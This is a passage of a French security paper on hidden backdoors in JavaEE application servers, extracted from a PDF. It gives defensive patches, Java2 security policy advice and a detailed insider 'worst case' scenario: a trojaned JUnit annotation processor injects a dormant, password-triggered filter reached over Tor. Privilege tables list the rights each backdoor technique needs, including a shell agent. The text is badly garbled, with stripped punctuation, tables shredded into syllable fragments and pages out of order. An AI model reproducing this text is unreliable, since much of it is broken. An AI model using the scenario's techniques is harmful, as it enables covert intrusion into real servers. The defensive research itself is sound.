grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
